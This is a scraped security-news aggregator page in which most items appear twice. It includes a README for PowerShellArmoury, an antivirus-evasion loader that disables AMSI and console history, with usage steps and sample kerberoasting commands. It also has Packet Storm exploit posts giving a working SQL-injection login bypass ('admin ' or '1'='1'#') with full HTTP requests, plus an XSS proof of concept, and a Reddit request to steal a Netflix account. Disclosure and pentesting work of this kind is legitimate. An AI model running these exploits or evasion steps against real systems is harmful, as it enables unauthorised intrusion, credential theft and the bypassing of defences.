confidentiality is important to you, use the "-OmitPassword" switch. Otherwise your password and salt will be stored in your armoury in PLAINTEXT! -Salt The salt that will be used together with your password to generate an AES encryption key. If you do not provide a salt, the script will generate a random one. Please note: the main goal of encryption in this script is to circumvent anti-virus. If confidentiality is important to you, use the "-OmitPassword" switch. Otherwise your password and salt will be stored in your armoury in PLAINTEXT! -OmitPassword This switch will remove the plaintext password from the final armoury script. Use this if confidentiality is important to you. -ValidateOnly Use this together with "-Config" to let the script validate the basic syntax of your JSON config file without executing it. -Use3DES Encrypts with 3DES instead of AES. -EnhancedArmour Instructs your armoury to require a protectecd PowerShell process. Therefore on first execution, your armoury will not load but spawn a new PowerShell that is set to run with BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON process mitigation. This prevents non-microsoft DLLs (e.g. AV/EDR products) to load into PowerShell. Shamelessly copied from the great @_rastamouse: https://gist.github.com/rasta-mouse/af009f49229c856dc26e3a243db185ec
Example usage
You can find a very brief introduction below. Also have a look a these two blog posts here (https://cyberstoph.org/posts/2019/12/evading-anti-virus-with-powershell-armoury/) and here (https://cyberstoph.org/posts/2020/02/psarmoury-1.4-now-with-even-more-armour/). Use the following commands to create an armoury with all default settings. You can start with the sample config file in this repository for inspiration. . .\New-PSArmoury.ps1
New-PSArmoury -Config .\PSArmoury.json This will create an encrypted .ps1 file called "MyArmoury.ps1" in the current working directory. Password and salt for encryption are randomly generated and included in cleartext in the file. (note that we use encryption only to prevent detection on disk and not for confidentiality) You can load the armoury into your current session by using cat -raw .\MyArmoury.ps1 | iex Loading your armoury invokes the following steps: Load all encrypted powershell functions (https://www.kitploit.com/search/label/Powershell%20Functions) into the current session as part of an array Disable AMSI Disable console history (can help prevent detection) Decrypt everything and pipe into iex After that, all powershell code you put in the armoury will be available. Just invoke the cmdlets as usual like this Invoke-Rubeus -Command "kerberoast /stats"
Invoke-Bloodhound
Get-DomainGroupMember -Identity "Domain Admins" -Recurse If it happens that you don't remember what you put inside the armoury, just load it and call the inventory :-) Get-PSArmoury
Download PowerShellArmoury (https://github.com/cfalta/PowerShellArmoury)
Example usage
You can find a very brief introduction below. Also have a look a these two blog posts here (https://cyberstoph.org/posts/2019/12/evading-anti-virus-with-powershell-armoury/) and here (https://cyberstoph.org/posts/2020/02/psarmoury-1.4-now-with-even-more-armour/). Use the following commands to create an armoury with all default settings. You can start with the sample config file in this repository for inspiration. . .\New-PSArmoury.ps1
New-PSArmoury -Config .\PSArmoury.json This will create an encrypted .ps1 file called "MyArmoury.ps1" in the current working directory. Password and salt for encryption are randomly generated and included in cleartext in the file. (note that we use encryption only to prevent detection on disk and not for confidentiality) You can load the armoury into your current session by using cat -raw .\MyArmoury.ps1 | iex Loading your armoury invokes the following steps: Load all encrypted powershell functions (https://www.kitploit.com/search/label/Powershell%20Functions) into the current session as part of an array Disable AMSI Disable console history (can help prevent detection) Decrypt everything and pipe into iex After that, all powershell code you put in the armoury will be available. Just invoke the cmdlets as usual like this Invoke-Rubeus -Command "kerberoast /stats"
Invoke-Bloodhound
Get-DomainGroupMember -Identity "Domain Admins" -Recurse If it happens that you don't remember what you put inside the armoury, just load it and call the inventory :-) Get-PSArmoury
Download PowerShellArmoury (https://github.com/cfalta/PowerShellArmoury)
hacking: security in practice
hey there
In order to inspect your abilities and power, I want to see how are you guys improving in this hacking domain. In order to prove me that, get me a netflix account, please.
submitted by /u/just_whateversrthhh
[link] [comments]
hey there
In order to inspect your abilities and power, I want to see how are you guys improving in this hacking domain. In order to prove me that, get me a netflix account, please.
submitted by /u/just_whateversrthhh
[link] [comments]
reddit
hey there
In order to inspect your abilities and power, I want to see how are you guys improving in this hacking domain. In order to prove me that, get me a...
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
Looking Upstream
Hi all!
I'm a hacking noob on his first pentesting job, and I've got a bit of a headscratcher.
My client has a network 10.33/16. They are within a building with other companies, all hooked up to one common fiber link.
Weirdly, I am able to detect devices on 192.168/16 and others, though this is not our company. I'm sure that either something is misconfigured on their router, or something is plugged in wrong at the server cabinet.
Is there a way I could find which device is giving me access to all these devices on the network? Or, is there a particular config option that would limit this? Or am I just an idiot and this is how it's supposed to be? :)
Thanks for any insight! Bjorn
submitted by /u/bjornjulian00
[link] [comments]
Looking Upstream
Hi all!
I'm a hacking noob on his first pentesting job, and I've got a bit of a headscratcher.
My client has a network 10.33/16. They are within a building with other companies, all hooked up to one common fiber link.
Weirdly, I am able to detect devices on 192.168/16 and others, though this is not our company. I'm sure that either something is misconfigured on their router, or something is plugged in wrong at the server cabinet.
Is there a way I could find which device is giving me access to all these devices on the network? Or, is there a particular config option that would limit this? Or am I just an idiot and this is how it's supposed to be? :)
Thanks for any insight! Bjorn
submitted by /u/bjornjulian00
[link] [comments]
reddit
Looking Upstream
Hi all! I'm a hacking noob on his first pentesting job, and I've got a bit of a headscratcher. My client has a network 10.33/16. They are within...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Online Hotel Reservation System 1.0 Cross Site Scripting
https://4.bp.blogspot.com/-B5GiRC1v-wQ/WWlu5E53nEI/AAAAAAAAIJE/W3BLkm7Hy_YnB0vtTzhGYY_ZESaF8C84ACLcBGAs/s1600/h105.png
Online Hotel Reservation System version 1.0 suffers from multiple cross site scripting vulnerabilities. Original discovery of cross site scripting in this version is attributed to Mesut Cetin in January of 2021.
MD5 |
Download
### PoC:
POST /marimar/index.php?p=booking HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Origin: http://localhost
Connection: close
Referer: http://localhost/marimar/index.php?p=booking
Cookie: PHPSESSID=9ck943m19rugu8d7q7d6mh6fnt
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
arrival=">&departure=">&person=0&accomodation=0
Source:packetstormsecurity.com
Online Hotel Reservation System 1.0 Cross Site Scripting
https://4.bp.blogspot.com/-B5GiRC1v-wQ/WWlu5E53nEI/AAAAAAAAIJE/W3BLkm7Hy_YnB0vtTzhGYY_ZESaF8C84ACLcBGAs/s1600/h105.png
Online Hotel Reservation System version 1.0 suffers from multiple cross site scripting vulnerabilities. Original discovery of cross site scripting in this version is attributed to Mesut Cetin in January of 2021.
MD5 |
0edf6c9cc89607788d24c82489b990e2Download
# Exploit Title: Online Hotel Reservation System 1.0 - 'Multiple' Cross-site scripting (XSS)
# Date: 2021-08-02
# Exploit Author: Mohammad Koochaki
# Vendor Homepage: https://www.sourcecodester.com/php/13492/online-hotel-reservation-system-phpmysqli.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/marimar.zip
# Version: 1.0
# Tested-on: Ubuntu 20.04.2 LTS, PHP 7.4.3
### This application is prone to a cross-site scripting in the 'arrival' and 'departure' parameters at the following path:
- http://localhost/marimar/index.php?p=booking
### Payload: ">### PoC:
POST /marimar/index.php?p=booking HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Origin: http://localhost
Connection: close
Referer: http://localhost/marimar/index.php?p=booking
Cookie: PHPSESSID=9ck943m19rugu8d7q7d6mh6fnt
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
arrival=">&departure=">&person=0&accomodation=0
Source:packetstormsecurity.com
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Men Salon Management System 1.0 SQL Injection
https://4.bp.blogspot.com/-5kb4UTwsKkE/WWlvjussFoI/AAAAAAAAIQs/uqojaqb90NcMo4ROOoH-c5uvdKeDdbGswCLcBGAs/s1600/h94.png
Men Salon Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.
MD5 |
Download
Source:packetstormsecurity.com
Men Salon Management System 1.0 SQL Injection
https://4.bp.blogspot.com/-5kb4UTwsKkE/WWlvjussFoI/AAAAAAAAIQs/uqojaqb90NcMo4ROOoH-c5uvdKeDdbGswCLcBGAs/s1600/h94.png
Men Salon Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.
MD5 |
0ff477e555550da6dc8a150460ace2e3Download
# Exploit Title: Men Salon Management System 1.0 - SQL Injection Authentication Bypass
# Date: 2021-07-30
# Exploit Author: Akshay Khanna (ConfusedBot)
# Vendor Homepage: https://phpgurukul.com/men-salon-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/men-salon-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Windows 10/Kali Linux
*POC*
Step 1 - Go to URL http://localhost:8080/Men/Salon/Management/System/Project/msms/admin/index.php
Step 2 – Enter anything in username and password
Step 3 – Click on Login and capture the request in the burp suite
Step4 – Change the username to admin ' or '1'='1'#
Step 5 – Click forward and now you will be logged in as admin.
REQUEST
POST /Men/Salon/Management/System/Project/msms/admin/index.php HTTP/1.1
Host: localhost:8080
Content-Length: 67
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8080/
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer:
http://localhost:8080/Men%20Salon%20Management%20System%20Project/msms/admin/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=fmo6opiohab5jf02r13db3f459
Connection: close
username=admin+%27+or+%271%27%3D%271%27%23&password=a&login=Sign+In
Source:packetstormsecurity.com
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
SQLMAP - Automatic SQL Injection Tool 1.5.8
https://1.bp.blogspot.com/-ioJ53oCx49I/WWlvK_l1r2I/AAAAAAAAIMA/qrzTnRYsG8QUcC_eXdokNXQ8WpqzEpJrACLcBGAs/s1600/h16.png
sqlmap is an open source command-line automatic SQL injection tool. Its goal is to detect and take advantage of SQL injection vulnerabilities in web applications. Once it detects one or more SQL injections on the target host, the user can choose among a variety of options to perform an extensive back-end database management system fingerprint, retrieve DBMS session user and database, enumerate users, password hashes, privileges, databases, dump entire or user's specified DBMS tables/columns, run his own SQL statement, read or write either text or binary files on the file system, execute arbitrary commands on the operating system, establish an out-of-band stateful connection between the attacker box and the database server via Metasploit payload stager, database stored procedure buffer overflow exploitation or SMB relay attack and more.
MD5 |
Download
Source:packetstormsecurity.com
SQLMAP - Automatic SQL Injection Tool 1.5.8
https://1.bp.blogspot.com/-ioJ53oCx49I/WWlvK_l1r2I/AAAAAAAAIMA/qrzTnRYsG8QUcC_eXdokNXQ8WpqzEpJrACLcBGAs/s1600/h16.png
sqlmap is an open source command-line automatic SQL injection tool. Its goal is to detect and take advantage of SQL injection vulnerabilities in web applications. Once it detects one or more SQL injections on the target host, the user can choose among a variety of options to perform an extensive back-end database management system fingerprint, retrieve DBMS session user and database, enumerate users, password hashes, privileges, databases, dump entire or user's specified DBMS tables/columns, run his own SQL statement, read or write either text or binary files on the file system, execute arbitrary commands on the operating system, establish an out-of-band stateful connection between the attacker box and the database server via Metasploit payload stager, database stored procedure buffer overflow exploitation or SMB relay attack and more.
MD5 |
6cac13f4e9cef5996f15944cf4d0b0a0Download
Source:packetstormsecurity.com
Hacking Articles Tips Tricks Videos Tutorials
Photo
Dark Reading: Attacks/Breaches
Multiple Zero-Day Flaws Discovered in Popular Hospital Pneumatic Tube System
"PwnedPiper" flaws could allow attackers to disrupt delivery of lab samples or steal hospital employee credentials, new research shows.
Multiple Zero-Day Flaws Discovered in Popular Hospital Pneumatic Tube System
"PwnedPiper" flaws could allow attackers to disrupt delivery of lab samples or steal hospital employee credentials, new research shows.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
Radare2 : UNIX-like Reverse Engineering Framework And Command-Line Toolset
Radare2 is a rewrite from scratch of radare. It provides a set of libraries, tools and plugins to ease reverse engineering tasks. The radare project started as a simple command-line hexadecimal editor focused on forensics, over time more features were added to support a scriptable command-line low level tool to edit from local hard drives, […]
The post Radare2 : UNIX-like Reverse Engineering Framework And Command-Line Toolset appeared first on Kali Linux Tutorials.
Radare2 : UNIX-like Reverse Engineering Framework And Command-Line Toolset
Radare2 is a rewrite from scratch of radare. It provides a set of libraries, tools and plugins to ease reverse engineering tasks. The radare project started as a simple command-line hexadecimal editor focused on forensics, over time more features were added to support a scriptable command-line low level tool to edit from local hard drives, […]
The post Radare2 : UNIX-like Reverse Engineering Framework And Command-Line Toolset appeared first on Kali Linux Tutorials.
Spores’ Marketplace Testnet & Bug Bounty Program
https://medium.com/spores-network/spores-marketplace-testnet-bug-bounty-program-85159bf6dd5?source=rss------bug_bounty-5
https://medium.com/spores-network/spores-marketplace-testnet-bug-bounty-program-85159bf6dd5?source=rss------bug_bounty-5
Community SpaceContinue reading on Spores Network » (https://medium.com/spores-network/spores-marketplace-testnet-bug-bounty-program-85159bf6dd5?source=rss------bug_bounty-5)
XSS is Dead. We just don’t get it.
https://securitygoat.medium.com/xss-is-dead-we-just-dont-get-it-b1a8cfc43733?source=rss------bug_bounty-5
https://securitygoat.medium.com/xss-is-dead-we-just-dont-get-it-b1a8cfc43733?source=rss------bug_bounty-5